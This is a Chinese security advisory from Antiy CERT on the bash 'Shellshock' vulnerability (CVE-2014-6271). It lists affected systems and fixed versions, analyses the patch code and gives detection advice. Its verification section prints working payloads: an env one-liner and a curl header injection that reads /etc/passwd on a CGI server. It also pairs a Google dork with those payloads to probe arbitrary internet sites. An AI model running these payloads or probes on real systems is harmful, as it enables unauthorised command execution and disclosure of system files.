[ English ]
[ English ]
最后一次更新时间: 2014年9月26日 14点30分
安天安全研究与应急处理中心(Antiy CERT)
时间
|
版本
|
更新内容
|
2014年9月25日
10时
|
第一版本
|
预警版本,进行漏洞中文命名、简要原理说明、影响平台与范围、快速解决方案,及给用户的建议等。
|
2014年9月25日
12时50分
|
第二版本
|
增加漏洞的本地验证、漏洞带来的影响、更新影响平台及解决方案等。
|
2014年9月26日
1时40分
|
第三版本
|
增加远程漏洞验证、利用漏洞进行远程代码执行原理分析、漏洞检测方法等。
|
2014年9月26日
14时30分
|
第四版本
|
增加漏洞远程普查方式、漏洞的补丁代码分析
|
一、
概述
2014年9月24日bash被公布存在远程代码执行漏洞,漏洞会影响目前主流的操作系统平台,包括但不限于Redhat、CentOS、Ubuntu、Debian、Fedora 、Amazon Linux 、OS X 10.10等平台,此漏洞目前虽然有部分系统给出了补丁,但因为漏洞修补的时效性,及漏洞的范围之大,且还存在一些没有发布补丁的问题,所以仍被定义为高危漏洞。
bash引自维基百科的描述为:"bash,Unix shell的一种。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括Linux与Mac OS X v10.4都将它作为默认shell。它也被移植到Microsoft Windows上的Cygwin与MinGW,或是可以在MS-DOS上使用的DJGPP项目。在Novell
NetWare与Andriod在上也有移植。"
二、
漏洞编号
CVE漏洞名称:CVE-2014-6271
中文漏洞名称:破壳
三、
发布时间
发布厂商
|
时间
|
链接
|
NVD
|
2014-09-24
2:48:04
PM
|
http://web.nvd.nist.gov/view/vuln/search-results?query=CVE-2014-6271&search_type=all&cves=on
|
Securityfocus
|
2014-09-24 12:00AM
|
http://www.securityfocus.com/bid/70103
|
exploit-db
|
2014-09-25
|
http://www.exploit-db.com/exploits/34765/
|
四、
部分主要漏洞影响平台及版本
操作系统
|
版本
|
解决方案
|
Red Hat Enterprise Linux
|
4 (ELS) |
Red Hat Enterprise Linux 4 Extended Lifecycle Support - bash-3.0-27.el4.2 |
5 |
Red Hat Enterprise Linux 5 - bash-3.2-33.el5.1 Red Hat Enterprise Linux 5.6 Long Life - bash-3.2-24.el5_6.1 Red Hat Enterprise Linux 5.9 Extended Update Support - bash-3.2-32.el5_9.2 |
|
6 |
Red Hat Enterprise Linux 6 - bash-4.1.2-15.el6_5.1 Red Hat Enterprise Linux 6.2 Advanced Update Support - bash-4.1.2-9.el6_2.1 Red Hat Enterprise Linux 6.4 Extended Update Support - bash-4.1.2-15.el6_4.1 |
|
7 |
Red Hat Enterprise Linux 7 - bash-4.2.45-5.el7_0.2 |
|
CentOS
|
5 |
bash-3.2-33.el5.1 |
6 |
bash-4.1.2-15.el6_5.1 |
|
7 |
bash-4.2.45-5.el7_0.2 |
|
Ubuntu
|
10.04 |
bash 4.1-2ubuntu3.1 |
12.04 |
bash 4.2-2ubuntu2.2 |
|
14.04 |
bash 4.3-7ubuntu1.1 |
|
Fedora
|
19 |
bash-4.2.47-2.fc19 |
20 |
bash-4.2.47-4.fc20 |
|
21 |
bash-4.3.22-3.fc21 |
|
Debian
|
4.1-3 |
4.1-3+deb6u1 |
4.2+dfsg-0.1 |
4.2+dfsg-0.1+deb7u1 |
|
4.3-9 |
4.3-9.1 |
|
Amazon Linux
AMI
|
|
bash-4.1.2-15.19 |
Mac OS
X
|
10.10 |
|
注:也可到http://ftp.gnu.org/pub/gnu/bash/进行下载。
五、
漏洞的影响范围
目前已验证Red Hat、 CentOS 、Ubuntu 、Fedora 、Amazon
Linux 、OS X 10.10均拥有存在CVE-2014-6271漏洞的bash版本,以bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用bash的Unix、Linux、Mac OS X,针对这些操作系统管理下的数据存在高危威胁。
目前抽样验证当前出厂预装的Andriod操作系统暂不支持ENV命令,可推测针对Andriod操作系统受到此漏洞影响的可能性较小。
六、
漏洞原理
目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。
在补丁中主要进行了参数的合法性过滤,补丁程序在/builtins/evalstring.c的parse_and_execute函数中进行了输入的command进行了合法性的边界检测,将代码注入的可能性排除。在排除中主要用到了flags的两次判断和command的一次类型匹配,为了能够flags判断准确,在补丁中预先定义了SEVAL_FUNCDEF、SEVAL_ONECMD两个标识作为判断依据。
此漏洞进行的补丁更新有三处,主要进行输入的command进行过滤作用。
/builtins/common.h
#define SEVAL_FUNCDEF 0x080 /*
only allow function definitions */
#define SEVAL_ONECMD 0x100 /*
only allow a single command */
|
/builtins/evalstring.c
if ((flags
& SEVAL_FUNCDEF) && command->type != cm_function_def)
{
internal_warning ("%s: ignoring function definition attempt", from_file);
should_jump_to_top_level = 0;
last_result = last_command_exit_value = EX_BADUSAGE;
break;
}
|
/builtins/evalstring.c
if (flags & SEVAL_ONECMD)
break;
|
从阐述的漏洞原理可知,漏洞的根本原因存在于bash的ENV命令实现上,因此漏洞本身是不能够直接导致远程代码执行的。如果达到远程代码执行的目的,必须要借助第三方服务程序作为媒介才能够实现,第三方服务程序也必须要满足众多条件才可以充当此媒介的角色。例如,第三方服务程序apache2便可充当此媒介,其CGI组件满足远程访问并调用bash的ENV命令进行访问数据解析功能。具体如何实现,见下面的原理图:CVE-2014-6271漏洞实现远程代码执行原理图。
七、
漏洞验证方法
目前的bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的bash函数传递给子相关进程。一般函数体内的代码是不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。
1.
本地验证方法:
在shell中执行下面命令:
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test" |
执行命令后,如果显示Vulnerable CVE-2014-6271,证系统存在漏洞,可改变echo Vulnerable CVE-2014-6271为任意命令进行执行。
1)
Linux Debian操作系统漏洞验证如下:
2)
苹果操作系统(OS X 10.10)漏洞验证如下:
2.
远程验证方法
a.
模拟验证方法
此方法适合进行原理验证。
1)
Ubuntu下安装及配置apache服务器
l 安装apache2服务器
#sudo apt-get install apache2
l 配置apache2服务器
配置文件位于 /etc/apache2/sites-enabled/000-default
l 用vi打开配置文件:
#sudo vi /etc/apache2/sites-enabled/000-default
l 修改其中两句为:
DocumentRoot /var/www/html
ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/
2)
编写WEB服务端测试文件
l 编辑服务端测试文件
#sudo vi /var/www/html/cgi-bin/test.sh
#!/bin/bash echo "Content-type: text/html" echo "" |
l 然后重启服务
#sudo /etc/init.d/apache2 restart
3)
远程测试
l 测试命令如下:
curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a' 'http://IP地址/cgi-bin/test.sh' -I |
命令中可改变a=`/bin/cat /etc/passwd`;echo $a为任意命令进行执行。
b. 真实验证方法
此方法适合互联网管理部门进行互联网普查等。
1)
以搜索引擎进行可能存在漏洞的网站检索,下面以google检索为例:
检索:inurl:/cgi-bin/ filetype:sh
2)
将检索到的url进行提取,然后替换下面的“替换URL”
curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a' '替换URL' -I |
3)
如存在漏洞,便可复现模拟验证方法的结果,借此判断漏洞的范围及危害程度等。
八、
漏洞检测方法
可以应用本地与远程的漏洞验证方法进行脚本、程序或snot规则等的编写与配置,进而进行批量的操作系统平台的检测。
九、
漏洞可能会带来的影响
1.
此漏洞可以绕过ForceCommand在sshd中的配置,从而执行任意命令。
2.
如果CGI脚本用bash编写,则使用mod_cgi或mod_cgid的Apache服务器会受到影响。
3.
DHCP客户端调用shell脚本来配置系统,可能存在允许任意命令执行。
4.
各种daemon和SUID/privileged的程序都可能执行shell脚本,通过用户设置或影响环境变量值,允许任意命令运行。
十、
针对此漏洞的建议
1.
按第七节中的漏洞验证方法进行验证判定,如确定存在漏洞,则针对第四部分给出的解决方案进行版本更新。
2.
更新bash源码,针对ENV命令实现部分,进行边界检查与参数过滤。严格界定函数定义范围,并做合法化的参数的判断。
十一、参考链接